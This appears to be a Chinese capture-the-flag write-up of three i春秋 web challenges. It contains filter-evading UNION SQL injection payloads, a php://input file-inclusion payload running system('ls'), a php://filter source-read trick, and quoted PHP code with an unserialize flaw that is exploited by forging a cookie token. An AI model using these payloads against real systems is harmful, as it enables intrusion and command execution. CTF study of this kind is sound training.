i春秋writeup
1.sql
题目地址
http://baabb3c37fcb429b9a2a71dbe623a29ee49724ec66094043.game.ichunqiu.com
爆破数据库名 ?id=1 unio<>n sele<>ct 1,database(),3
爆表: ?id=1 union selec<>t 1,table_name,3 from information_schema.tables where table_schema='sqli'
爆列: ?id=1 unio<>n sele<>ct 1,column_name,3 fro<>m information_schema.columns where table_name='info'
爆值flag: ?id=1 union selec<>t 1,flAg_T5ZNdrm,3 from info
2.include
题目地址
http://2c5ab5a1abe64d98a4030b4aab717039d05000ed41844554.game.ichunqiu.com
看一下题目,完全没防护的文件包含:
![](https://img.haomeiwen.com/i9113981/093495bda8cf14c4.jpg)
直接构造:
path=php://input
post内容:<?php echo system('ls');?>
看一下有哪些文件:
![](https://img.haomeiwen.com/i9113981/72644ae43cc33155.png)
![](https://img.haomeiwen.com/i9113981/1d91fd15261e23b6.png)
再利用?path=php://filter/read=convert.base64-encode/resource=dle345aae.php
读取文件内容,得到flag
![](https://img.haomeiwen.com/i9113981/f72cc722e2f32688.png)
![](https://img.haomeiwen.com/i9113981/768f8186fad8ad0b.png)
3.Login
https://www.ichunqiu.com/battalion?q=2725
这题看到之后首先是sql注入的想法,不过很快破灭了,没有回显瞎注
查看源代码后,发现
![](https://img.haomeiwen.com/i9113981/b6a3a803b9c21547.png)
猜测账号密码是test1,果然进去了
进入member.php 页面 但是没用发现可用信息
于是burp suite拦截包看一下
![](https://img.haomeiwen.com/i9113981/c4ad30bfe09226b8.png)
现在response 中有可疑参数 show
于是我们在请求段加入 show :1;
![](https://img.haomeiwen.com/i9113981/6a906167df951310.png)
发现返回了源码
<!-- <?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(鈺�碘枴鈥�)鈺傅鈹粹攢鈹� ";
}
}else{
header('Location: index.php?error=1');
}
?> -->
得知要得到flag需要满足 $login['user'] === 'ichunqiu'
而user被requset['token'])));处理过
我们重新编写一个程序解密即可
![](https://img.haomeiwen.com/i9113981/9a6ebe705a3fe7a2.png)
![](https://img.haomeiwen.com/i9113981/55606b0ae1dbd066.png)
将结果添加到cookie中的token中然后发过去即可得到flag
![](https://img.haomeiwen.com/i9113981/d0a73908a0f19a6b.png)
函数说明:
gzcompress() - 压缩字符串
string gzcompress (stringlevel= -1 [,int $encoding= ZLIB_ENCODING_DEFLATE ]])
此函数使用ZLIB 数据格式压缩给定的字符串。
参数
data : 要压缩的数据。
level : 压缩程度。可以给出0表示无压缩,最高压缩为9。如果使用-1,则使用zlib库的默认压缩,即6。
encoding : 一个ZLIB_ENCODING_*常数。
gzuncompress - 解压缩压缩字符串
string gzuncompress (stringlength= 0 ])
此函数解压缩压缩字符串。
data: 由gzcompress()压缩的数据。
length: 要解码的最大数据长度。